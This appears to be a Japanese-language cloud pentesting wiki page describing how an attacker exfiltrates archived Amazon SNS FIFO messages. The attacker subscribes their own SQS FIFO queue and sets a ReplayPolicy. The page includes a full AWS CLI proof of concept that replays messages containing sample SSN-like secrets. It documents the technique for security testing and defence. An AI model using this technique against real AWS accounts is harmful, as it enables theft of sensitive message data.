# SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription

{{#include ../../../../banners/hacktricks-training.md}}

Amazon SNS FIFO topic のメッセージアーカイブを悪用し、subscription の ReplayPolicy を設定することで、以前に公開されたメッセージを attacker 制御の SQS FIFO キューへ replay して exfiltrate する手法。

- サービス: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
- 要件: Topic は ArchivePolicy 有効（メッセージアーカイブ）。Attacker は topic に Subscribe でき、作成した subscription の属性を設定できる。Attacker は SQS FIFO キューを制御し、topic がメッセージを送信できるようにする。
- 影響: 過去のメッセージ（subscription 作成前に公開されたもの）が attacker エンドポイントに配信されうる。replayed 配信は SNS envelope 内で Replayed=true としてフラグされる。

## 前提条件
- SNS FIFO topic でアーカイブが有効: `ArchivePolicy`（例: `{ "MessageRetentionPeriod": "2" }` は 2 日間）。
- Attacker は以下の権限を持っていること:
  - `sns:Subscribe` が対象の topic に対して。
  - 作成した subscription に対して `sns:SetSubscriptionAttributes`。
- Attacker は SQS FIFO キューを持ち、topic ARN からの `sns:SendMessage` を許可するキューポリシーをアタッチできること。

## 最小 IAM 権限
- topic に対して: `sns:Subscribe`。
- subscription に対して: `sns:SetSubscriptionAttributes`。
- queue に対して: ポリシー設定用の `sqs:SetQueueAttributes` と、topic ARN からの `sns:SendMessage` を許可するキューポリシー。

## Attack: Replay archived messages to attacker SQS FIFO
Attacker は自身の SQS FIFO キューを被害者の SNS FIFO topic に subscribe し、`ReplayPolicy` を過去（archive 保持期間内）のタイムスタンプに設定する。SNS は一致するアーカイブ済みメッセージを新規 subscription に対して即座に replay し、`Replayed=true` でマークする。

Notes:
- `ReplayPolicy` に指定するタイムスタンプは topic の `BeginningArchiveTime` 以上でなければならない。これより過去を指定すると API は `Invalid StartingPoint value` を返す。
- SNS FIFO の `Publish` では `MessageGroupId` を指定する必要がある（および dedup ID を指定するか `ContentBasedDeduplication` を有効にする）。

<details>
<summary>End-to-end CLI POC (us-east-1)</summary>
```bash
REGION=us-east-1
# Compute a starting point; adjust later to >= BeginningArchiveTime if needed
TS_START=$(python3 - << 'PY'
from datetime import datetime, timezone, timedelta
print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ'))
PY
)

# 1) Create SNS FIFO topic with archiving (2-day retention)
TOPIC_NAME=htreplay$(date +%s).fifo
TOPIC_ARN=$(aws sns create-topic --region "$REGION" \
--cli-input-json '{"Name":"'"$TOPIC_NAME"'","Attributes":{"FifoTopic":"true","ContentBasedDeduplication":"true","ArchivePolicy":"{\"MessageRetentionPeriod\":\"2\"}"}}' \
--query TopicArn --output text)

echo "Topic: $TOPIC_ARN"

# 2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)
for i in $(seq 1 3); do
aws sns publish --region "$REGION" --topic-arn "$TOPIC_ARN" \
--message "{\"orderId\":$i,\"secret\":\"ssn-123-45-678$i\"}" \
--message-group-id g1 >/dev/null
done

# 3) Create attacker SQS FIFO queue and allow only this topic to send
Q_URL=$(aws sqs create-queue --queue-name ht-replay-exfil-q-$(date +%s).fifo \
--attributes FifoQueue=true --region "$REGION" --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region "$REGION" \
--attribute-names QueueArn --query Attributes.QueueArn --output text)

cat > /tmp/ht-replay-sqs-policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSSend","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"sqs:SendMessage","Resource":"$Q_ARN","Condition":{"ArnEquals":{"aws:SourceArn":"$TOPIC_ARN"}}}]}
JSON
# Use CLI input JSON to avoid quoting issues
aws sqs set-queue-attributes --region "$REGION" --cli-input-json "$(python3 - << 'PY'
import json, os
print(json.dumps({
'QueueUrl': os.environ['Q_URL'],
'Attributes': {'Policy': open('/tmp/ht-replay-sqs-policy.json').read()}
}))
PY
)"

# 4) Subscribe the queue to the topic
SUB_ARN=$(aws sns subscribe --region "$REGION" --topic-arn "$TOPIC_ARN" \
--protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)

echo "Subscription: $SUB_ARN"

# 5) Ensure StartingPoint is >= BeginningArchiveTime
BEGIN=$(aws sns get-topic-attributes --region "$REGION" --topic-arn "$TOPIC_ARN" --query Attributes.BeginningArchiveTime --output text)
START=${TS_START}
if [ -n "$BEGIN" ]; then START="$BEGIN"; fi

aws sns set-subscription-attributes --region "$REGION" --subscription-arn "$SUB_ARN" \
--attribute-name ReplayPolicy \
--attribute-value "{\"PointType\":\"Timestamp\",\"StartingPoint\":\"$START\"}"

# 6) Receive replayed messages (note Replayed=true in the SNS envelope)
aws sqs receive-message --queue-url "$Q_URL" --region "$REGION" \
--max-number-of-messages 10 --wait-time-seconds 10 \
--message-attribute-names All --attribute-names All
```
</details>

## 影響
**潜在的影響**: アーカイブが有効になっている SNS FIFO topic にサブスクライブでき、サブスクリプションで `ReplayPolicy` を設定できる攻撃者は、サブスクリプション作成後に送信されたメッセージだけでなく、そのトピックに公開された過去のメッセージを即座に再生して外部に持ち出すことができます。配信されたメッセージには SNS のエンベロープに `Replayed=true` フラグが含まれます。

{{#include ../../../../banners/hacktricks-training.md}}
